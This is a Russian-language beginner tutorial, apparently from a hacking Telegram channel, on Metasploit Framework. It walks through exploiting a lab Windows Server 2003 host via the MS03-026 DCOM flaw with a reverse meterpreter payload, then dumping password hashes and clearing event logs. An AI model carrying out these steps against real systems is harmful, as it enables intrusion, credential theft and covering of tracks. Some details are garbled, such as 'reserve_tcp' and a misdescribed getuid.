Основы работы с Metasploit Framework (часть 1)

Основы работы с Metasploit Framework (часть 1)

https://t.me/w2hack

Intro

Metasploit это один из наиболее популярных и часто используемых в практике пен-теста инструментов для создания, тестирования и использования эксплойтов. Позволяет конструировать эксплойты с необходимой в конкретном случае «полезной нагрузкой» ( англ. payloads ), которая выполняется в случае удачной атаки, например, установка shell или VNC сервера. Также фреймворк позволяет шифровать шеллкод, что может скрыть факт атаки от IDS или IPS.

История создания

В 2003 году, хакеру, известному как «HD Moore», пришла идея разработать инструмент для быстрого написания эксплоитов. Так был рожден хорошо известный во всех кругах проект Metasploit. Первая версия фреймфорка была написана на языке Perl, содержавшая псевдографический интерфейс на базе библиотеки curses.

К 2007 году разработчики консолидировались, основав компанию Metasploit LLC; в это же время проект полностью переписали на Ruby и, частично на Си, Python и Ассемблер.

В октябре 2009 года, проект Metasploit был приобретен компанией Rapid7 с условием, что HD Moore останется техническим директором фреймворка, на что согласилась компания Rapid7.

Сегодня Metasploit является одной из популярнейших программ, имеющих самую большую базу эксплоитов, шеллкодов и кучу разнообразной документации, что не может не обрадовать.

Инструмент имеет несколько конфигураций:

1) Командная оболочка (msfconsole);

2) Веб-интерфейс (Metasploit Community, PRO и Express);

3) Графическая оболочка (Armitage, и более продвинутая версия — Cobalt strike).

Помимо веб-интерфейса, доступного в версиях Community, Express и Pro, существуют такие проекты, как Armitage и Cobalt strike , предоставляющие дружелюбный и интуитивно понятный GUI-интерфейс для фреймворка.

Armitage как графическая оболочка

По сравнению с остальными интерфейсами Armitage позволяет в наглядном виде представить все этапы атаки, включая: сканирование узлов сети, анализ защищенности обнаруженных ресурсов, выполнение эксплоитов и получение полного контроля над уязвимой системой.

Все функции программы структурированы и легкодоступны из меню и вкладок программы, даже для начинающего исследователя компьютерной безопасности. Программа предназначена для использования на платформах Linux и Windows. На веб-сайте разработчиков присутствуют исходные коды, справочные руководства в текстовом и видео формате.

Базовые понятия 

1. База данных

До начала работы с пакетом нужно учесть возможность использования базы дынных, для хранения информации о хостах, сервисах, уязвимостях и прочем. Подключение к базе весьма не обязательное условие для функционирования фреймворка, но тем не менее повышающее удобство использоавния производительность.

Metasploit использует PostgreSQL, поэтому до начала работы с ним понадобится установить СУБД на свою систему. Затем убедиться, что запущены нужные сервисы БД и фреймворка.

2. Эксплоит: (англ. exploit — использовать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.*

3. Шелл-код: Код оболочки, шелл-код (англ. shellcode) — это двоичный исполняемый код, который обычно передаёт управление консоли, например '/bin/sh' Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе.*

4. Реверс-шелл: При эксплуатации удаленной уязвимости шелл-код может открывать заранее заданый порт TCP уязвимого компьютера, через который будет осуществляться дальнейший доступ к командной оболочке, такой код называется привязывающим к порту (англ. port binding shellcode). Если шелл-код осуществляет подключение к порту компьютера атакующего, что производится с целью обхода брандмауэра или NAT, то такой код называется обратной оболочкой (англ. reverse shell shellcode).

5. Уязвимость: В компьютерной безопасности, термин уязвимость (англ.vulnerability) используется для обозначения слабозащищённого или открытого места в системе. Уязвимость может быть результатом ошибок программирования или недостатков в дизайне системы. Уязвимость может существовать либо только теоретически, либо иметь известный эксплойт. Уязвимости часто являются результатом беззаботности программиста, но, также, могут иметь и другие причины. Уязвимость обычно позволяет атакующему обмануть приложение, например,с помощью внедрения данных каким-нибудь незапланированным способом, выполнения команды на системе, на которой выполняется приложение, или путем использования упущения, которое позволяет получить непредусмотренный доступ к памяти для выполнения кода на уровне привилегий программы. Некоторые уязвимости появляются из-за недостаточной проверки данных, вводимых пользователем; часто это позволяет напрямую выполнить команды SQL (SQL-инъекция). Другие уязвимости появляются из-за более сложных проблем, таких как запись данных в буфер, без проверки его границ, в результате буфер может быть переполнен, что может привести к исполнению произвольного кода.

Что такое полезная нагрузка (payload)

В статьях и учебниках по компьютерной безопасности можно часто встретить слово payload. Буквально оно переводится как «полезная нагрузка». Под этим словом подразумевают код или часть вредоносной программы (червей, вирусов), который непосредственно выполняет деструктивное действие: удаляет данные, отправляет спам, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению.

Т.е. «полезная нагрузка» для пользователя («жертвы») является совсем не полезной.

Для атакующего полезная нагрузка является ключевым элементом, который необходимо доставить на компьютер цели и выполнить. Код полезной нагрузки может быть написан самостоятельно (и это правильный подход, позволяющий значительно снизить шансы обнаружения антивирусами – в этом вы быстро убедитесь сами, если будете пробовать запускать исполнимые файлы с полезной нагрузкой в системах с установленным антивирусом), а можно воспользоваться разнообразными генераторами полезной нагрузки. Суть работы этих программ заключается в том, что вы выбираете типичную задачу (например, инициализация оболочки для ввода команд с обратным подключением), а генератор выдаёт вам исполнимый код под выбранную платформу. Если у вас нет навыков в программировании, то это единственный возможный вариант.

Одним из самых популярных генераторов полезной нагрузки является MSFvenom. Это самостоятельная часть Metasploit, предназначенная для генерации полезной нагрузки.

Структура фремворка

«Сердце» Metasploit — библиотека Rex. Она требуется для операций общего назначения: работы с сокетами, протоколами, форматирования текста, работы с кодировками и подобных. На ней базируется библиотека MSF Core, которая предоставляет базовый функционал и «низкоуровневый» API. Его использует библиотека MSF Base, которая, в свою очередь, предоставляет API для плагинов, интерфейса пользователя (как консольного, так и графического), а также подключаемых модулей.

Все модули делятся на несколько типов, в зависимости от предоставляемой функциональности:

  • Exploit — код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение стека) 
  • Payload — код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее) 
  • Post — код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы) 
  • Encoder — инструменты для обфускации модулей с целью маскировки от антивирусов 
  • NOP — генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер 
  • Auxiliary — модули для сканирования сети, анализа трафика и так далее.

Общие команды MSFCONSOLE

Несмотря на наличие графических интерфейсов, самым распространенным способом работы с Metasploit по-прежнему остается консольный интерфейс msfconsole.

Рассмотрим основные команды:

  • use — выбрать определенный модуль для работы с ним;
  • back — операция, обратная use: перестать работать с выбранным модулем и вернуться назад;
  • show — вывести список модулей определенного типа;
  • set— установить значение определенному объекту;
  • run — запустить вспомогательный модуль после того, как были установлены необходимые опции;
  • info — вывести информацию о модуле;
  • search — найти определенный модуль;
  • check — проверить, подвержена ли целевая система уязвимости;
  • sessions — вывести список доступных сессий. 

Общие настройки модулей

Каждый модуль имеет свой собственный набор опций, который может быть настроен для ваших потребностей. Существует очень много возможностей, поэтому перечислить здесь все невозможо. Тем не менее, ниже представлены несколько вариантов, которые обычно используются для настройки модулей:

  • Тип пейлоуда: Определяет тип пейлоуда, который эксплойт будет доставлять к цели. Выберите один из следующих типов пейлоуда:
  • Command: Пейлоуд, который выполняет команду. С его помощью можно выполнять команды на удаленном компьютере.
  • Meterpreter: Прогрессивный пейлоуд, который предоставляет командную строку, с помощью которой можно доставлять команды и применять расширения.
  • Тип соединения: Определяет, как Metasploit будет подключаться к цели. Выберите один из следующих типов соединения:
  • Автоматический: При автоматическом соединении используется связанное соединение, если был обнаружен NAT; в противном случае, используется обратная связь.
  • Связанный: Используется связанное соединение, что особенно важно, если цель находится не в зоне брандмауэра или NAT шлюза.
  • Обратный: Использует обратную связь, что особенно важно, если ваша система не может инициировать соединение с целями.
  • LHOST: Определяет адрес локального хоста.
  • LPORT: Определяет порты, которые вы хотите использовать для обратных связей.
  • RHOST: Определяет адрес цели.
  • RPORT: Определяет удаленный порт, который вы хотите атаковать.
  • Настройки цели: Указывает целевую операционную систему и версию.
  • Перерыв эксплойта: Определяет время ожидания в течение нескольких минут.

Создание базы данных в Metasploit

Важной особенностью в Metasploit является наличие БД, в которой можно хранить результаты тестирования. Любой пентест состоит из большого количества информации и может работать в течение нескольких дней, поэтому часто необходимо хранить промежуточные результаты в БД.

В качестве базы данных по умолчанию в Metasploit используется PostgreSQL. В BackTrack есть возможность использовать MySQL вместо PostgreSQL, но об этом чуть позже. Давайте для начала проверим настройки по умолчанию в PostgreSQL БД. Открываем файл database.yml расположенный в /opt/framework3/config. Чтобы это сделать, выполните след. команду:

root@bt:~# cd /opt/framework3/configroot@bt:/opt/framework3/config# cat database.ymlproduction: adapter: postgresql database: msf3 username: msf3 password: 8b826ac0 host: 127.0.0.1 port: 7175 pool: 75 timeout: 5

Обратите внимание на значения по умолчанию: database, username, password, host, port, pool и timeout. Запишите эти значения, так как они будут необходимы в дальнейшем. Вы также можете изменить их в соответствии с вашим выбором.

Теперь задача состоит в том, чтобы подключиться к БД. Для этого запускаем msfconsole и проверяем доступные драйверы баз данных:

msf >db_driverActive Driver: postgresql
Available: postgresql, mysql

Убеждаемся, что PostgreSQL используется по умолчанию. Если хочется использовать MySQL, тогда нужно выполнить след. команду:

msf>db_driver mysql
Active Driver: Mysql

Это приведет к изменению активного драйвера для MySQL.


Для подключения к БД используется команда db_connect. Давайте посмотрим на ее синтаксис:

db_connect username:password@hostIP:port number/database_name

Чтобы подключиться к БД будем использовать значения из файла database.yml (см. выше):

msf >db_connect msf3:8b826ac0@127.0.0.1:7175/msf3

При успешном выполнении команды, база данных PostgreSQL будет полностью настроена.

Теперь давайте рассмотрим несколько важных моментов связанных с БД.

Получение ошибки при подключении к базе данных.

Есть некоторая вероятность, что при подключении к БД выведется ошибка. Поэтому нужно помнить о двух моментах:

  • проверьте команды db_driver и db_connect и убедитесь, что вы используете их правильно
  • перезапустите БД /etc/init.d, а затем попробуйте подключиться снова

Если ошибка по-прежнему выдается, тогда можно попробовать переустановить базу данных с помощью следующих команд:

msf>gem install postgresmsf>apt-get install libpq-dev

Удаление базы данных

В любой момент времени вы можете остановить/удалить созданную базу данных, и начать все заново. Следующая команда используется для удаления БД:

msf>db_destroy msf3:8b826ac0@127.0.0.1:7175/msf3Database \"msf3\" dropped.msf>

Использование БД для хранения результатов тестирования

Теперь давайте посмотрим, как использовать БД для хранения результатов тестирования. Начнем с небольшого примера. Команда db_nmap сохраняет результаты сканирования портов непосредственно в БД, а также всю необходимую информацию. Запускаем простое nmap сканирование, чтобы проверить, как это работает:

msf >db_nmap 192.168.56.102  Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-04 20:03 IST 
 Nmap: Nmap scan report for 192.168.56.102 
 Nmap: Host is up (0.0012s latency) 
 Nmap: Not shown: 997 closed ports 
 Nmap: PORT STATE SERVICE 
 Nmap: 135/tcp open msrpc 
 Nmap: 139/tcp open netbios-ssn 
 Nmap: 445/tcp open microsoft-ds 
 Nmap: MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) 
 Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.94 seconds

Как видим, nmap выдала результаты сканирования. Nmap будет автоматически заполнять БД msf3.

Можно также воспользоваться опциями -oX в nmap, чтобы сохранить результат сканирования с формате XML. Это полезно делать, если в дальнейшем вы будите использовать сторонние программы, такие как Dradis Framework  для работы с результатами:

msf >nmap 192.168.56.102 -A -oX report 
 exec: nmap 192.168.56.102 -A -oX reportStarting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-05 11:57 IST Nmap scan report for 192.168.56.102Host is up (0.0032s latency) Not shown: 997 closed portsPORT STATE SERVICE135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

report - это файл, в котором будет храниться результат сканирования.

Команда db_nmap создает SQL запросы с различными столбцами таблицы, имеющие отношение к результатам проверки. После завершения сканирования, db_nmap сохраняет значения в базе данных. Сохранение результатов в виде таблиц упрощает обмен результатами локально, так и со сторонними инструментами.

После того, как сканирование завершено, наступает время анализа. Анализ данных даст нам более точное понимание целевой системы. Результаты в базе данных могут храниться либо в течении длительного времени, либо в течении короткого срока. Что захотите сделать, то и будет.

Документация

Мы не много познакомиться с историей проекта, кратко разобрались в базовых понятиях, теперь настало время приступить к изучению возможностей пакета.

На официальном сайта разработчика размещен Metasploit Framework Pro User Guide , подробно описывающий все возможные фичи пакета и их применение в реальных условиях. Не смотря на то, что гид написан на английском языке, объясняется все довольно четко и интуитивно понятно.


Для начинающих пользователей ей гид попрощеMetasploit Framework User Guide , он содержит более упрощенное описание пакета, но хорошо иллюстрирует способы использования команд.

Полный комплект официальной документации предоставлен на официальной страничке разработка .

Инструкция с подробным описанием шагов установки фреймворка на Linux можно забрать здесь

Для тех, кто все таки желает читать документацию на русском существует проект неофициального перевода, ознакомиться с материалом можно тут

Ну и для тех, кто любит изучать все на примерах и к тому же с картинками могут посетить этот ресурс .

Практический пример

Машина жертвы:OS: Microsoft Windows Server 2003
IP: 192.168.42.129
Наша машина:OS: BackTrack 5
Kernel version: Linux bt 2.6.38 # SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
Metasploit version: Built in version of metasploit 3.8.0-dev
IP: 192.168.42.128

Предпосылка:Единственная информация об удаленной машине, которой мы располагаем, это то, что на ней запущен Windows 2003 Server. Требуется получить доступ к командной оболочке этого удаленного сервера.

Шаг 1:

Запускаем сетевой сканер Nmap для анализа удаленного сервера по IP-адресу 192.168.42.129. В результате получаем вывод команды Nmap с перечнем открытых портов. Для наглядного примера смотрим на скриншот Figure1.

Figure1

Шаг 2:

На нашей машине, в операционной системе BackTrack, переходим в меню по пути:

Application > BackTrack > Exploration Tools > Network Exploration Tools > Metasploit Framework > msfconsole

Во время запуска msfconsole выполняется стандартная проверка. Если все прошло хорошо, то мы увидим результат, как на скриншоте Figure2.

Figure 2

Шаг 3:

Теперь, когда мы знаем, что на удаленной машине открыт порт 135, ищем соответствующий эксплоит RPC в базе данных Metasploit. Для того, чтобы увидеть список всех эксплоитов, доступных в Metasploit, запустим команду show exploits. Мы увидим все, которые можно использовать в нашей системе.

Как вы уже могли заметить, стандартная инсталляция Metasploit Framework 3.8.0-dev имеет в своем составе 696 эксплоитов и 224 payload'а. Список впечатляющий, так что найти нужный сплоит в нем является задачей поистине трудной и утомительной. Но мы воспользуемся более простым и удобным способом. Один из них - перейти по ссылке http://metasploit.com/modules/ и воспользоваться поиском на сайте. Второй способ - запустить команду search <keyword> в самом Metasploit для поиска соответствующего эксплоита RPC. Можно также еще заглянуть сюда - Exploit Database by Offensive Security.

В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc. Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole, как показано на скриншоте Figure3.

Figure 3

Шаг 4:

Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom. Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.

Шаг 5:

В общем случае запуск команды use <exploit_name> запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

Figure 4

Как видно на скриншоте Figure4, после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msfexploit(ms03_026_dcom) >. Это означает, что мы перешли во временное окружение этого эксплоита.

Шаг 6:

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135. Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST.

Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129., как на скриншоте Figure5.

Figure5

Шаг 7:

Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload'ов можно увидеть с помощью команды show payloads.

Figure6

Как видно на скриншоте Figure6, команда show payloads покажет нам все payload'ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter, задав его командой set PAYLOAD windows/meterpreter/reserve_tcp, что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.

Figure7

Обратите внимание, что параметр LHOST для payload'а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128.

Шаг 8:

Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте Figure8 хорошо видно, что в нашем случе это именно так.

Figure8

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.

В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check.

Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.

Figure9

На скриншоте Figure9 видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter >.

Шаг 9:

Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

Ниже показаны результаты некоторых команд meterpreter:

  • ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
  • getuid - отображает имя сервера в консоли;
  • hashdump - создает dump базы данных SAM;
  • clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.

Таким образом, мы успешно использовали Metasploit фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

На этом спасибо! Жди новых уроков на нашем канале @w2hack,дальше еще больше практики и основы meterpreter